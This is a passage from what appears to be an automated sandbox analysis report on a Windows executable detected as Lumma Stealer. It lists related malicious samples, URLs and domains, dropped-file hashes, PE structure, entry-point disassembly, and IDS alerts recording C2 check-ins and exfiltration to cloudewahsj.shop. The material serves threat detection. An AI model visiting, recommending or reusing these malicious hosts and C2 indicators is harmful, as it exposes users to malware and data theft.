104.21.80.1	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	my.cradaygo.com/smmylet
	SW_48912.scr.exe	Get hash	malicious	FormBook	Browse	www.dejikenkyu.cyou/pmpa/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	hiranetwork.com/administrator/index.php
	downloader2.hta	Get hash	malicious	XWorm	Browse	2k8u3.org/wininit.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cloudewahsj.shop	rdFy6abQ61.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
cloudewahsj.shop	7z91gvU.exe	Get hash	malicious	LummaC	Browse	104.21.96.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	rdFy6abQ61.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	HMhdtzxEHf.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	9g9LZNE4bH.exe	Get hash	malicious	Blank Grabber	Browse	162.159.137.232
	riFSkYVMKB.exe	Get hash	malicious	Blank Grabber	Browse	162.159.138.232
	9cOUjp7ybm.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	http://livedashboardkit.info	Get hash	malicious	Unknown	Browse	172.67.166.199
	4.elf	Get hash	malicious	Unknown	Browse	1.13.111.69
	31.13.224.14-mips-2025-01-03T22_14_18.elf	Get hash	malicious	Mirai	Browse	1.4.15.193
	random.exe	Get hash	malicious	Unknown	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	rdFy6abQ61.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	9cOUjp7ybm.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	random.exe	Get hash	malicious	Unknown	Browse	104.21.80.1
	random.exe	Get hash	malicious	Unknown	Browse	104.21.80.1
	download.bin.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	hthjjadrthad.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.80.1
	HSBC_PAY.SCR.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.21.80.1
	same.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	104.21.80.1

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_m4lz5aeAiN.exe_4785beaf3029da8b753e65a1f33d768e5b217e_6edf4eb4_3a45cf96-a787-465e-a1ac-e44b7599ae44\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0592971485154903
Encrypted:	false
SSDEEP:	96:vgFxbPo2ugUsdhcoE7Jf3QXIDcQTc6xcEHcw3J+HbHg/8BRTf3uOycr5WAU6NCUQ:YHoxgU40d1NajvEmFizuiFcrZ24IO8L
MD5:	3E2F9117578CC8865AA45E1FB40E24C6
SHA1:	27FA0EBEF756B9E561563953C73720ACE1339AB7
SHA-256:	45986DA4ED914047BB59D6FCDE4D28EF5D09079A22EA04637E002585C08F9A9A
SHA-512:	99A0EFD2FF170A34898120628B0AB207DF6478327F31B959D83D4FC1A55EA3539C8B44163CB436CF1F44E9EB27A5DBBB43A57781EFDBE6A75F8C80F7D8E1E626
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.4.7.4.7.9.7.4.6.2.6.3.6.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.4.7.4.7.9.8.6.8.1.3.3.7.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.a.4.5.c.f.9.6.-.a.7.8.7.-.4.6.5.e.-.a.1.a.c.-.e.4.4.b.7.5.9.9.a.e.4.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.a.2.1.f.7.8.6.-.8.a.3.b.-.4.8.0.3.-.b.f.1.a.-.3.6.9.a.d.2.8.a.1.9.2.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.m.4.l.z.5.a.e.A.i.N...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.7.1.0.-.0.0.0.1.-.0.0.1.5.-.0.7.f.e.-.d.4.9.2.b.5.5.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.3.5.3.5.8.3.8.c.d.c.1.0.8.1.9.0.0.4.e.7.d.c.5.6.2.1.a.4.4.9.b.1.0.0.0.0.f.f.f.f.!.0.0.0.0.e.2.b.c.2.6.4.4.3.1.c.5.6.4.a.0.f.0.1.8.0.c.b.d.5.9.4.3.0.6.8.5.f.b.9.7.c.8.6.8.!.m.4.l.z.5.a.e.A.i.N...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2AA1.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sat Jan 4 14:33:18 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	109746
Entropy (8bit):	2.1700782004811856
Encrypted:	false
SSDEEP:	384:QkeFjl1iTBxxCOMSbk+Fs8xTL3TkS9VFJs76GM6aHGcmlAbhNIqYKZlvg5nHYv4w:QnXkTBxxCOMSj1vNFOB+YNo4wsI
MD5:	06014A0D802B0CE9F4F89A1C684D2DFC
SHA1:	5BB09DB9C39A6E04A122EC9D738550B16F50BE9D
SHA-256:	0EAA662D2F38916FD4CD80CD08AF115EC0E51D1318E578C7C10F28DD1F12EF0A
SHA-512:	AFE3F85BEC441E9F6F060F443ABE47FD3F465344724B86AC8C28B7D9DBDA6412C8270329B9C745DF1659E23EA5960A1052A956829FC5EC090B5765610ED8052F
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........Fyg........................p...............h$......$....N..........`.......8...........T...........HE..jg...........$...........&..............................................................................eJ......p'......GenuineIntel............T............Fyg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E2C.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8360
Entropy (8bit):	3.6967085614161284
Encrypted:	false
SSDEEP:	192:R6l7wVeJgjZ6Jm26Y2DPmSU9uSRgmf4npDV89bu2sfYam:R6lXJKZ6Jm26YDSU9LRgmf4guVf0
MD5:	C677B72ECB5436C7DA93D370D347C036
SHA1:	60F6138DF0E991FE9B7974A927483C227AE22A66
SHA-256:	4D631FBEC04C340AC3FE53B792A2CC87F5D153E1DE7E8BC4CEAECDD8169FA471
SHA-512:	C072AE9C4FAC0B912719B12577CCDD03359A8FDCFFE19926F34FF4AC41037E39E71E21F9FAD3DC8FF8C580459CC1184C0E47495215BACDD49D7830786E6D5575
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.8.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E4C.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4623
Entropy (8bit):	4.485371110872836
Encrypted:	false
SSDEEP:	48:cvIwWl8zs7Jg77aI9CVWpW8VY6Ym8M4JbuOqF6XmM+q8g2OV+frhUfd:uIjfVI7wk7VmJK21cO+ftUfd
MD5:	78FBCD186473D3B2B6A52E4F426D8949
SHA1:	24E8C8AE5C72D0BD95400A141BBF8196B31700AA
SHA-256:	344D3822E9DB71BA8DE39B1BFF986F28AAE2CC2D55112B666C2C83CD412CB66D
SHA-512:	31F0F9A73FF1E278194B2082B6541B0C3FC89BD6466A62BA73FFFCF4C6F202325E2C95F41D3D60FFC0EF4D262F66F27EDE63D0986FD6A72F588C94A075510A5B
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="661295" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.46857815839833
Encrypted:	false
SSDEEP:	6144:lzZfpi6ceLPx9skLmb0f4ZWSP3aJG8nAgeiJRMMhA2zX4WABluuNujDH5S:dZHt4ZWOKnMM6bFpkj4
MD5:	5A106B2E43CC3C1F2EDDE801BC8DE649
SHA1:	DB446FE71C69E0CA9F7547E9898DE8273C376AF8
SHA-256:	5533EE6BF78440F1EF7B7AA12A5DCF8FD6106647120EE0A3F6846B62A15A4A8D
SHA-512:	5C7F6E08BD17A289038203BB7917D68649E3937B97EC027C8F449FC114368E2ADFE4CE56CFC8CABBA029B335A7A14006129E03628EDC47682E4CE012FE61911A
Malicious:	false
Reputation:	low
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm^.%..^..............................................................................................................................................................................................................................................................................................................................................M.3.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.408160593644353
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	m4lz5aeAiN.exe
File size:	322'048 bytes
MD5:	af551d70d63b4251edcaac0cdcf9485e
SHA1:	e2bc264431c564a0f0180cbd59430685fb97c868
SHA256:	461e55432a4e9d66a9cf95665b4479f4b0ee1d35b2e110791fb4517d69ae771a
SHA512:	8b02ddc4ea3b071ae15ef495a74a82a5bb662fc474191989fb25c5b3f582ab615c2f86c0624c35169919178fd571182a510418fbfabb7ed6f300dded5f7c8128
SSDEEP:	6144:6LftVCGlWgxPtWc4acO0wMwozduRLpbXjuuU5:6x09gxPtWceOMwop29by
TLSH:	8E64F1633EF0C073C45782B54922C9A57B7F7CA19AA4858F33542BBF9E306D1663A346
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.!.g.OCg.OCg.OC...Cf.OCy..CB.OCy..C}.OCy..C..OC@M4C`.OCg.NC..OCy..Cf.OCy..Cf.OCy..Cf.OCRichg.OC........PE..L...l.ve...........

File Icon


Icon Hash:	714145054152444b

Static PE Info

General

Entrypoint:	0x404122
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6576136C [Sun Dec 10 19:37:16 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d8ecff67c177ab688915d2b483d1913b

Entrypoint Preview

Instruction
call 00007FBE54BB503Ch
jmp 00007FBE54BB21EEh
mov edi, edi
push ebp
mov ebp, esp
push edi
mov edi, 000003E8h
push edi
call dword ptr [004010ACh]
push dword ptr [ebp+08h]
call dword ptr [004010A8h]
add edi, 000003E8h
cmp edi, 0000EA60h
jnbe 00007FBE54BB2376h
test eax, eax
je 00007FBE54BB2350h
pop edi
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
call 00007FBE54BB2AB6h
push dword ptr [ebp+08h]
call 00007FBE54BB2903h
push dword ptr [00443014h]
call 00007FBE54BB347Eh
push 000000FFh
call eax
add esp, 0Ch
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
push 00401260h
call dword ptr [004010A8h]
test eax, eax
je 00007FBE54BB2387h
push 00401250h
push eax
call dword ptr [00401058h]
test eax, eax
je 00007FBE54BB2377h
push dword ptr [ebp+08h]
call eax
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007FBE54BB233Dh
pop ecx
push dword ptr [ebp+08h]
call dword ptr [004010B0h]
int3
push 00000008h
call 00007FBE54BB51A6h
pop ecx
ret
push 00000008h
call 00007FBE54BB50C3h
pop ecx
ret
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, eax
jmp 00007FBE54BB237Dh
mov eax, dword ptr [esi]
test eax, eax
je 00007FBE54BB2374h

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4193c	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4e000	0x70a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2d78	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x190	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x41260	0x41400	32434967f40fb1f76cea18fd7d28a9d3	False	0.8879160680076629	data	7.83677022485551	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x43000	0xaba4	0x6000	a0358a1370615b9789876de315d3d86e	False	0.0799560546875	Matlab v4 mat-file (little endian) \342C@, rows 0, columns 0	0.9412160170119649	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4e000	0xc0a8	0x7200	d78b04e5092098520eb9ca59477bc00f	False	0.47382127192982454	data	4.777690629271288	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x54280	0x330	Device independent bitmap graphic, 48 x 96 x 1, image size 0			0.1948529411764706
RT_CURSOR	0x545b0	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.33223684210526316
RT_ICON	0x4e390	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.43310234541577824
RT_ICON	0x4f238	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.5546028880866426
RT_ICON	0x4fae0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5858294930875576
RT_ICON	0x501a8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.6076589595375722
RT_ICON	0x50710	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.4451244813278008
RT_ICON	0x52cb8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.49343339587242024
RT_ICON	0x53d60	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.525709219858156
RT_STRING	0x54928	0x3ce	AmigaOS bitmap font "i", fc_YSize 30720, 19456 elements, 2nd "f", 3rd "v"	Romanian	Romania	0.4650924024640657
RT_STRING	0x54cf8	0x3b0	data	Romanian	Romania	0.461864406779661
RT_ACCELERATOR	0x54230	0x50	data	Romanian	Romania	0.8125
RT_GROUP_CURSOR	0x546e0	0x22	data			1.0294117647058822
RT_GROUP_ICON	0x541c8	0x68	data	Romanian	Romania	0.6826923076923077
RT_VERSION	0x54708	0x220	data			0.5202205882352942

Imports

DLL	Import
KERNEL32.dll	SetLocaleInfoA, WriteConsoleInputW, InterlockedIncrement, EnumCalendarInfoW, InterlockedDecrement, GetCurrentProcess, InterlockedCompareExchange, WriteConsoleInputA, SetComputerNameW, FreeEnvironmentStringsA, GetWindowsDirectoryA, EnumTimeFormatsW, SwitchToFiber, ReadConsoleInputA, GetVersionExW, GetAtomNameW, FindNextVolumeMountPointW, GetShortPathNameA, LCMapStringA, GetLogicalDriveStringsA, GetLastError, SetLastError, GetProcAddress, VirtualAlloc, EnumSystemCodePagesW, LoadLibraryA, OpenEventA, GetCommMask, FindNextFileA, EnumDateFormatsA, GetModuleHandleA, TerminateJobObject, GetCurrentProcessId, EnumCalendarInfoExA, FindNextVolumeA, CreateFileA, WriteConsoleW, GetConsoleOutputCP, WriteConsoleA, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetModuleHandleW, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, TerminateProcess, IsDebuggerPresent, HeapAlloc, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, HeapSize, HeapFree, SetHandleCount, GetFileType, GetStartupInfoA, DeleteCriticalSection, SetFilePointer, EnterCriticalSection, LeaveCriticalSection, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, InitializeCriticalSectionAndSpinCount, HeapReAlloc, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, RtlUnwind, RaiseException, SetStdHandle, GetLocaleInfoA, WideCharToMultiByte, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW, GetConsoleCP, GetConsoleMode, FlushFileBuffers, CloseHandle
USER32.dll	OemToCharA, DdeQueryStringA, GetWindowTextLengthA
SHELL32.dll	DragQueryPoint

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-04T15:33:09.908705+0100	2058606	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cloudewahsj .shop)	1	192.168.2.6	55059	1.1.1.1	53	UDP
2025-01-04T15:33:10.471177+0100	2058607	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cloudewahsj .shop in TLS SNI)	1	192.168.2.6	49718	104.21.80.1	443	TCP
2025-01-04T15:33:10.471177+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49718	104.21.80.1	443	TCP
2025-01-04T15:33:11.063340+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49718	104.21.80.1	443	TCP
2025-01-04T15:33:11.063340+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49718	104.21.80.1	443	TCP
2025-01-04T15:33:11.586800+0100	2058607	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cloudewahsj .shop in TLS SNI)	1	192.168.2.6	49720	104.21.80.1	443	TCP
2025-01-04T15:33:11.586800+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49720	104.21.80.1	443	TCP
2025-01-04T15:33:12.066819+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49720	104.21.80.1	443	TCP
2025-01-04T15:33:12.066819+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49720	104.21.80.1	443	TCP
2025-01-04T15:33:12.847188+0100	2058607	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cloudewahsj .shop in TLS SNI)	1	192.168.2.6	49726	104.21.80.1	443	TCP
2025-01-04T15:33:12.847188+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49726	104.21.80.1	443	TCP
2025-01-04T15:33:13.433955+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49726	104.21.80.1	443	TCP
2025-01-04T15:33:14.397575+0100	2058607	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cloudewahsj .shop in TLS SNI)	1	192.168.2.6	49737	104.21.80.1	443	TCP
2025-01-04T15:33:14.397575+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49737	104.21.80.1	443	TCP
2025-01-04T15:33:15.598888+0100	2058607	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cloudewahsj .shop in TLS SNI)	1	192.168.2.6	49746	104.21.80.1	443	TCP
2025-01-04T15:33:15.598888+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49746	104.21.80.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 4, 2025 15:33:09.925651073 CET	49718	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:09.925707102 CET	443	49718	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:09.925792933 CET	49718	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:09.952507019 CET	49718	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:09.952548027 CET	443	49718	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:10.471052885 CET	443	49718	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:10.471177101 CET	49718	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:10.544569016 CET	49718	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:10.544603109 CET	443	49718	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:10.545022964 CET	443	49718	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:10.592883110 CET	49718	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:10.650957108 CET	49718	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:10.650983095 CET	49718	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:10.651093006 CET	443	49718	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:11.063340902 CET	443	49718	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:11.063433886 CET	443	49718	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:11.063507080 CET	49718	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:11.075886965 CET	49718	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:11.075915098 CET	443	49718	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:11.075930119 CET	49718	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:11.075937033 CET	443	49718	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:11.129744053 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:11.129781961 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:11.129857063 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:11.130192995 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:11.130209923 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:11.586685896 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:11.586800098 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:11.588304043 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:11.588320971 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:11.588572979 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:11.589827061 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:11.589871883 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:11.589903116 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.066826105 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.066875935 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.066909075 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.066939116 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.066937923 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.066958904 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.066992044 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.067006111 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.067049026 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.067059994 CET	443	49720	104.21.80.1	192.168.2.6
